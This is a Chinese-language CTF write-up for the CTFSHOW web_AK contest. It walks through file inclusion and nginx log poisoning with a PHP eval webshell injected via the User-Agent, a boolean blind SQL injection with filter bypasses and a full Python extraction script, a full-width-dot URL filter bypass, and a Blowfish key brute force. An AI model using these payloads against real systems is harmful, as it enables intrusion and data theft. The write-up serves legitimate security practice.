CTFSHOW web_AK赛
签到——观己
文件包含漏洞
php伪协议
看源码过滤了php,开始想的是php伪协议,但是试了一下allow_url_include=off
,data://
用不了。最后尝试了一下直接读/flag,/flag.txt
。发现在/flag.txt直接读出了flag.
日志包含
传?file=/var/log/nginx/access.log
过去发现nginx访问日志可以访问。
写一句话<? eval($_POST['hack']);?>
到UA里面,go。
使用蚁剑连接
在根目录下找到flag.txt,得到flag
观星
sql布尔盲注——异或注入
看到url上的id=1就知道这是注入了,id=1'
返回enheng?
发现'
被过滤了,fuzz测试过滤了空格
,'
,"
,=
,like
,ascii
,union
,order by
,|
,sleep
,,
。常用的盲注payload为payload=1^if(ascii(substr('flag',1,1))=104,1,0)
。过滤了挺多,但都有代替方案。
- 过滤了
=
和,
,if
可以用case(x)when(y)then(1)esle(2)end
代替if
,相当于if(x=y,1,2)
。` ascii
可以用ord
代替,hex
也行。substr('flag',1,1)
可以用substr('flag')from(1)for(1)
代替- 下面给出python脚本,原脚本为@羽写的。
import requests
import string
url="http://92002b9c-0cc6-44b1-b24c-d397ede0e66e.chall.ctf.show/index.php?id="
flag=""
for i in range(1,50):
print("len="+str(i))
for j in range(38,128):
#爆数据库名--ctftrainning
#payload="1^case(ord(substr((select(group_concat(schema_name))from(information_schema.schemata))from({0})for(1))))when({1})then(2)else(3)end".format(i,j)
#爆表名--flag
#payload="1^case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(0x637466))from({0})for(1))))when({1})then(2)else(3)end".format(i,j)
#爆字段名--flag
#payload="1^case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c))from({0})for(1))))when({1})then(2)else(3)end".format(i,j)
#爆flag
payload="1^case(ord(substr((select(flag)from(ctftraining.flag))from({0})for(1))))when({1})then(2)else(3)end".format(i,j)
url=url+payload
#print(url)
r=requests.get(url)
t=r.text
#print(t)
if("I asked nothing" in t):
flag+=chr(j)
print(flag)
break
观字
审计源码过滤了.
,首先想到可以用十六进制
和十进制
代替。传送门
将192.168.7.68转为十六进制C0A80744
,十进制 3232237380
,可是转完发现十进制
和十六进制
都包含0
,而0
被过滤了。
最后和羽师父交流得知.
可以用。
代替。故payload
为?url=http://192。168。7。68/flag
。
观图
文件包含
右键查看源代码发现http://6908f9ef-4e7f-4af4-b98d-5c351412cd7a.chall.ctf.show/showImage.php?image=Z6Ilu83MIDw=
,直接访问showimage.php
得到源码。
GET传入一个变量$image
,然后openssl-decrypt
解密得到 文件名$str
,如果文件$str
存在,将源码输出。
可以看出只要知道$key
就可以使用加密函数openssl-encrypt
加密config.php
然后就能得到flag。
写脚本爆破一下这个$key
。
$str="Z6Ilu83MIDw=";
for($i=0;$i<99999;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$image = openssl_decrypt($str, 'bf-ecb', $key);
if(strpos($image, "png")||strpos($image, "gif")||strpos($image,"jpg")){
echo $i,"|".$image;
}
}
得到$key=27347
。然后加密config.php
$image="config.php";
$key = substr(md5('ctfshow27347'),3,8);
$str = openssl_encrypt($image,'bf-ecb', $key);
echo $str;
得到N6bf8Bd8jm0SpmTZGl0isw==
。payload为?image=N6bf8Bd8jm0SpmTZGl0isw==
。